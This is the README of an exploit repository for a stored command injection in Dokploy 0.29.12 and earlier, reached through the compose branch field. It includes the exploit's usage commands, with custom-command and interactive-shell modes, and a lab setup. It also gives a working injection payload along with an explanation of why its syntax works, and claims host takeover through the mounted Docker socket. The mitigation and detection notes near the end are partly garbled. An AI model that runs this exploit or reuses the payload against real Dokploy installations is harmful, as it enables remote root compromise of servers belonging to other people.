Dokploy <=0.29.12 compose branch stored command injection (CVSS 9.9 Critical) — clean-room exploit, swarm lab orchestration, reproduced live against v0.29.12 with host-takeover channel proof
Severity: CVSS:3.1 9.9 / 10.0 Critical · AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H · Full rating
Reproduction status: this repository's rewritten script, on 2026-10-21 against the local lab of dokploy/dokploy:v0.29.12, hit twice out of two attempts:
DKP72867-egl59s5b-u0-root-ha7e0c0491588 <- uid=0 execution proof
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" <- arbitrary command output
docker api: 29.7.2 <- host Docker daemon reachable from inside the container (takeover channel)
The compose service's customGitBranch (and the four provider branch fields) are written with zero validation
(drizzle-zod bare string), and at deploy time are interpolated verbatim into
git clone --branch ${...} handed to /bin/sh -c — stored OS command injection.
The default installation container runs as root and mounts docker.sock RW, so container root = host root.
Affected: <= 0.29.12 · Fixed: 0.29.13 commit
47347ab (adds shellWord
= shell-quote, wrapping all git fields of the five providers, closing seven GHSAs at once)
| 路径 | 说明 |
|---|---|
exp/poc_72867.py | 新写 exploit(纯 stdlib):注册→建服务→存 payload→部署→日志读证;--command 单发自定义命令、--shell 交互、--json 证据输出、版本指纹 |
exp/lab_72867.py | 靶场编排(对齐官方 install.sh 拓扑:swarm + overlay + secrets + 双 service) |
docs/ANALYSIS.md | 根因:写入路径、拼接路径、payload 语法工程、日志回显 oracle、advisory 家族 |
docs/SEVERITY.md | 9.9 向量逐项论证 + 家族其他 CVE 一览 |
docs/REFERENCES.md | 上游 writeup / advisory / 修复 commit |
results/REPRO-TRANSCRIPT.md | 本机复现完整证据 |
docs/UPSTREAM-REFERENCE-POC.py | Lulztigre 原始 PoC(参照,未修改) |
cd exp
python lab_72867.py up # swarm + postgres + dokploy v0.29.12(:3000)
python lab_72867.py wait # health polling (first-start migration is slow)
python poc_72867.py --url http://localhost:3000 # marker proof
python poc_72867.py --url ... --mode signin \
--command 'id; ls -la /var/run/docker.sock' # command control proof
python lab_72867.py down # tear down services and secrets
Prerequisites: local Docker (with swarm support); image 4.26GB. Under Git-bash/Windows all
docker invocation scripts have MSYS_NO_PATHCONV=1 built in.
main;echo MARK-u$(id -u)-$(id -un)-h$(hostname);echo
The clone line is wrapped in if ! git clone --branch X --depth 1 ...; then:
a bare $() would only become git's revision argument (not executed); a bare ;command would
syntactically break the if block (not executed); only the finished three-part form — fake branch clone (cover, guaranteed to fail, deploy showing
error is expected), marker expansion, and the trailing space ;echo swallowing the clone's leftover arguments to preserve
the if syntax — executes reliably. Detection only accepts the expanded form (u0-root numeric uid): a patched
build echoes the branch text verbatim into the git error, so bare substring matching will inevitably produce false positives.
shellWord convergence point).^[A-Za-z0-9._/-]+$ with length limit) to prevent recurrence of the same class — the fix only covers the
known sink; writes still accept arbitrary strings.; $ ( | &; deployment logs showing command output
unrelated to git.Research and methodology: Lulztigre MEMO #009; original PoC Lulztigre/CVE-2026-72867. This repository is an independent rewrite, re-verified in a local lab.
MIT — see LICENSE.